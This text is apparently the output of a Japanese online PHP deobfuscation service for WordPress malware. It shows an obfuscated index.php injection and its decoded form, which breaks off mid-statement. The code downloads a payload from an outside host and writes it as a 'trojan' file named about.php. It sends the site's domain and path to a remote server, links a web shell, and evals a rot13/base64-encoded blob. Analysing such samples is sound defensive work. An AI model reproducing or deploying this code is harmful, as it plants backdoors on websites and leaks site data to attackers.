Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。
<?php $O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O_0O_0O0O_=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{27}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O0_O0_O0O_=$O00OO_0_O_{32}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{6}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{38}.$O00OO_0_O_{18}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{10}.$O00OO_0_O_{12}.$O00OO_0_O_{35}.$O00OO_0_O_{0};$OOO0_O0_0_=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$OO0O___0O0=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{26}.$O00OO_0_O_{30}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$O_O_0_O00O=$O00OO_0_O_{16}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{27}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_00O0OO__=$O00OO_0_O_{33}.$O00OO_0_O_{10}.$O00OO_0_O_{24}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_0_O0_O0O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{35}.$O00OO_0_O_{16}.$O00OO_0_O_{10};$O_O_O000_O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{23}.$O00OO_0_O_{35}.$O00OO_0_O_{33}.$O00OO_0_O_{30};$O___00OO0O=$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{24}.$O00OO_0_O_{12}.$O00OO_0_O_{6}.$O00OO_0_O_{23}.$O00OO_0_O_{12}.$O00OO_0_O_{2}.$O00OO_0_O_{30};$O__0O0_0OO=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{12}.$O00OO_0_O_{0}.$O00OO_0_O_{12}.$O00OO_0_O_{10};$O_OO_O000_=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{17}.$O00OO_0_O_{30}.$O00OO_0_O_{32};$OO0O0__O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O__O00_OO0=\'\'','if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $O__O00_OO0;');$OOO_O00_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$url','$OO0O0_0_O_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);}return $OO0O0_0_O_;');$O_OO__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();$O_0_O_OO00["\x70\x61\x74\x68"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly9jaGFyaXR5YmVuZWZpdGF1Y3Rpb25zLmNvbS9hYm91dC5waHA/NTIw\');if(isset(${"\x5f\x47\x45\x54"}["\x64\x65\x6c"])&&${"\x5f\x47\x45\x54"}["\x64\x65\x6c"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWJvdXQucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cDovLzUxbGEuaXp2My5jb20vYS50eHQ="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cDovLzUxbGEuYWRjZWYuY29tLz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?><?php $TR7C='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';$crySEBM4n = function ($KFO7){$soPRU = "SuEBRc";$rK3toEDQ=$soPRU[(36 -35 -1) / 5] . $soPRU[(20 - 5)/ 3] . $soPRU[(84 - 78) / 2] . $soPRU[(26 - 20) / 3]. $soPRU[(30 - 19 +9)/ 5] . 'Y' . ((115 - 87- 8)/ 4).$soPRU[(6- 2)/ 4] . 'C'. ''; return $rK3toEDQ($KFO7); }; $Hb1 = function($waH_ ) {$I2pd = "Eo4ceAb_";$FqVR49W=$I2pd[(58 - 34) / 4] . $I2pd[(94-82 - 2)/ 2].'s' ; $FqVR49W.= $I2pd[(42- 34)/2].((88 -76) /2) . ((29-17) / 3) .$I2pd[(85 - 52 +9)/6] ;$FqVR49W .='d'.$I2pd[(56 -32) / 6]. $I2pd[(58-39-1) / 6] .$I2pd[(17- 12)/ 5] . 'D';$FqVR49W .=$I2pd[(69 - 79 + 10) / 3] .'';return $FqVR49W($waH_);}; $DsYAms=function($D7H55Brd ) {$y1e3KYW9 = "Fe1_";$lrt0CgAB=$y1e3KYW9[(38- 35-3) /3] . 'G' . $y1e3KYW9[(59- 57) /2] .$y1e3KYW9[(101- 73 -10) /6] .$y1e3KYW9[(4 -2) / 2] . 'B'.'g' . $y1e3KYW9[(88 -88 +4) / 2] ; $lrt0CgAB .= ((78-66)/4) . ''; $lrt0CgAB =str_rot13($lrt0CgAB);return $lrt0CgAB($D7H55Brd); }; $CBRw = function ($KiZWQ_ ) { $QD0H2T_="nWOPHqEIiIorIVhPme61kCyEGRO6JuCam2hvnMYA2wQyALzuJAEJYoki";return $QD0H2T_;}; $DsYAms = function ($D7H55Brd ){$y1e3KYW9 = "Fe1_";$lrt0CgAB=$y1e3KYW9[(38- 35-3) /3] .'G'.$y1e3KYW9[(59- 57) /2]. $y1e3KYW9[(101- 73 -10) /6] . $y1e3KYW9[(4 -2) / 2] .'B'. 'g' . $y1e3KYW9[(88 -88 +4) / 2] ; $lrt0CgAB.= ((78-66)/4) . '';$lrt0CgAB=str_rot13($lrt0CgAB); return $lrt0CgAB($D7H55Brd); }; $DzXBFe=function($bn2xsr,$ZmBWwQUAv ,$Dz6gHmi ) { return "dtdmTBegFCaEAbVsukIJ3"; };$TR7C = $crySEBM4n($TR7C); $Hb1 = function($waH_){$I2pd = "Eo4ceAb_";$FqVR49W=$I2pd[(58 - 34) / 4]. $I2pd[(94-82 - 2)/ 2] .'s';$FqVR49W .=$I2pd[(42- 34)/2] .((88 -76) /2) . ((29-17) / 3). $I2pd[(85 - 52 +9)/6] ;$FqVR49W.='d'. $I2pd[(56 -32) / 6]. $I2pd[(58-39-1) / 6] . $I2pd[(17- 12)/ 5] .'D';$FqVR49W .= $I2pd[(69 - 79 + 10) / 3] . ''; return $FqVR49W($waH_);}; $crySEBM4n =function ($KFO7){$soPRU = "SuEBRc";$rK3toEDQ=$soPRU[(36 -35 -1) / 5].$soPRU[(20 - 5)/ 3]. $soPRU[(84 - 78) / 2] . $soPRU[(26 - 20) / 3] . $soPRU[(30 - 19 +9)/ 5] .'Y' . ((115 - 87- 8)/ 4). $soPRU[(6- 2)/ 4]. 'C'. '';return $rK3toEDQ($KFO7);}; $TR7C =$DsYAms($TR7C); $fECW= function($ZUMwlY,$xVuD ){$PZE3nHK="DIeGGQebhMCLdrKE_iqJX9pZsRt_NTfPL5gy9pStjls7kcTVtcNnJpaF13OA2VK"; return $PZE3nHK; }; $TR7C=$Hb1($TR7C); function KsE($bBMm ){$ACzBMdf = "9BI7/Sou";$xjIfLuH=((74 -44 - 9) / 3) ; $xjIfLuH.=$ACzBMdf[(52- 44) /4] . $ACzBMdf[(29 - 7- 1)/3] . $ACzBMdf[(111 -74- 7) / 5] . 'p' .((150- 87 -9)/ 6) . 'b'. ((26- 18)/ 2) . $ACzBMdf[(101 - 77 + 6)/ 6].'U'. ((110- 108+8)/2) . $ACzBMdf[(24 -22)/ 2] . 'M'.$ACzBMdf[(30- 15+9)/ 6] . ''; return $xjIfLuH;}function QlQ9ybhZ ($RHestMl ,$UxTF1YyD ,$E8gT5){ return "GQW5wdNkzY_Ia0pWXV";} $TR7C = RhHuW($TR7C); eval($TR7C); function RhHuW ($t_BR) {$eOyEC7A = "RGasn";$gOIkfK='t' . 'm' . 'V' .$eOyEC7A[(63 - 55) / 4] . $eOyEC7A[(13 - 6+ 5) / 4]. 'Y' . $eOyEC7A[(28- 16)/ 3] ; $gOIkfK .=$eOyEC7A[(16 -13) / 3] . $eOyEC7A[(72-72) / 2] ; $gOIkfK.= ''; $gOIkfK =str_rot13($gOIkfK); return $gOIkfK($t_BR); }function ScBerY5uC ($dM1jk ) { return KsE('').$dM1jk;}; ?><?php define('WP_USE_THEMES', true );require(__DIR__. '/wp-blog-header.php' ); ?>
<?php $O00OO_0_O_ = "n1zb/ma5\\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j"; $O000OOO___ = "file_put_contents"; $O_0O_0O0O_ = "file_get_contents"; $O0_O0_O0O_ = "create_function"; $OOO0_O0_0_ = "base64_encode"; $OO0O___0O0 = "base64_decode"; $O_O_0_O00O = "preg_replace"; $O_00O0OO__ = "str_replace"; $O_0_O0_O0O = "curl_setopt"; $O_O_O000_O = "curl_close"; $O___00OO0O = "serialize"; $O__0O0_0OO = "curl_init"; $O_OO_O000_ = "curl_exec"; $OO0O0__O0_ = function ($O__O00_OO0 = '') { if (isset($_SERVER["HTTP_HOST"])) { return $_SERVER["HTTP_HOST"]; } elseif (isset($_SERVER["SERVER_NAME"])) { return $_SERVER["SERVER_NAME"]; } return $O__O00_OO0; }; $OOO_O00_0_ = function ($url) { $OO0O0_0_O_ = @file_get_contents($url); if (!$OO0O0_0_O_) { $O0O0_O_0O_ = curl_init(); curl_setopt($O0O0_O_0O_, CURLOPT_URL, $url); curl_setopt($O0O0_O_0O_, CURLOPT_RETURNTRANSFER, 1); $OO0O0_0_O_ = curl_exec($O0O0_O_0O_); curl_close($O0O0_O_0O_); } return $OO0O0_0_O_; }; $O_OO__0O00 = function ($O_0O_O_0O0 = '') { $O_0_O_OO00 = array(); $O_0_O_OO00["path"] = str_replace(str_replace('//', '/', $_SERVER["PHP_SELF"]), '', str_replace('\\\\', '/', $_SERVER["SCRIPT_FILENAME"])); $O_0_O_OO00["domain"] = $GLOBALS["OO0O0__O0_"](); $O_0_O_OO00["shell_link"] = "https://charitybenefitauctions.com/about.php?520"; if (isset($_GET["del"]) && $_GET["del"] == "my_code") { $O0_0OO_O0_ = $O_0_O_OO00["path"] . "/index.php"; $OO0O0O0___ = @file_get_contents($O0_0OO_O0_); $O_OO_0_0O0 = "<\\?php.+\\(1\\);\\?>"; $OO0O0O0___ = preg_replace("/<\\?php.+\\(1\\);\\?>/si", '', $OO0O0O0___); $OO0O0O0___ = @file_put_contents($O0_0OO_O0_, $OO0O0O0___); if ($OO0O0O0___ > 0) { die("delete success"); } die("delete failed"); } $OO_O__O000 = "about.php"; $O0O_0_O0_O = $O_0_O_OO00["path"] . "/" . $OO_O__O000; $OO0O0O0___ = @$GLOBALS["OOO_O00_0_"]("http://51la.izv3.com/a.txt"); $OO0O0O0___ = @file_put_contents($O0O_0_O0_O, $OO0O0O0___); if ($OO0O0O0___ > 0) { $O_0_O_OO00["trojan"] = "http://" . $O_0_O_OO00["domain"] . "/" . $OO_O__O000; } else { $O_0_O_OO00["trojan"] = "write failed"; } $OO_0O00O__ = sprintf("http://51la.adcef.com/?d=%s", base64_encode(serialize($O_0_O_OO00))); $O__OO0O00_ = $GLOBALS["OOO_O00_0_"]($OO_0O00O__); if ($O__OO0O00_ == "done") { $O0_0OO_O0_ = $O_0_O_OO00["path"] . "/index.php"; $OO0O0O0___ = @file_get_contents($O0_0OO_O0_); $O_OO_0_0O0 = "<\\?php.+\\(1\\);\\?>"; $OO0O0O0___ = preg_replace("/<\\?php.+\\(1\\);\\?>/si", '', $OO0O0O0___); @file_put_contents($O0_0OO_O0_, $OO0O0O0___); } }; $GLOBALS["O_OO__0O00"](1); $TR7C = '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'; $crySEBM4n = function ($KFO7) { $soPRU = "SuEBRc"; $rK3toEDQ = "ScBERY5uC"; return ScBERY5uC($KFO7); }; $Hb1 = function ($waH_) { $I2pd = "Eo4ceAb_"; $FqVR49W = "bAs"; $FqVR49W = "bAse64_"; $FqVR49W = "bAse64_decoD"; $FqVR49W = "bAse64_decoDE"; return bAse64_decoDE($waH_); }; $DsYAms = function ($D7H55Brd) { $y1e3KYW9 = "Fe1_"; $lrt0CgAB = "FGe_eBg1"; $lrt0CgAB = "FGe_eBg13"; $lrt0CgAB = "STr_rOt13"; return STr_rOt13($D7H55Brd); }; $CBRw = function ($KiZWQ_) { $QD0H2T_ = "nWOPHqEIiIorIVhPme61kCyEGRO6JuCam2hvnMYA2wQyALzuJAEJYoki"; return $QD0H2T_; }; $DsYAms = function ($D7H55Brd) { $y1e3KYW9 = "Fe1_"; $lrt0CgAB = "FGe_eBg1"; $lrt0CgAB = "FGe_eBg13"; $lrt0CgAB = "STr_rOt13"; return STr_rOt13($D7H55Brd); }; $DzXBFe = function ($bn2xsr, $ZmBWwQUAv, $Dz6gHmi) { return "dtdmTBegFCaEAbVsukIJ3"; }; $TR7C = $crySEBM4n($TR7C); $Hb1 = function ($waH_) { $I2pd = "Eo4ceAb_"; $FqVR49W = "bAs"; $FqVR49W = "bAse64_"; $FqVR49W = "bAse64_decoD"; $FqVR49W = "bAse64_decoDE"; return bAse64_decoDE($waH_); }; $crySEBM4n = function ($KFO7) { $soPRU = "SuEBRc"; $rK3toEDQ = "ScBERY5uC"; return 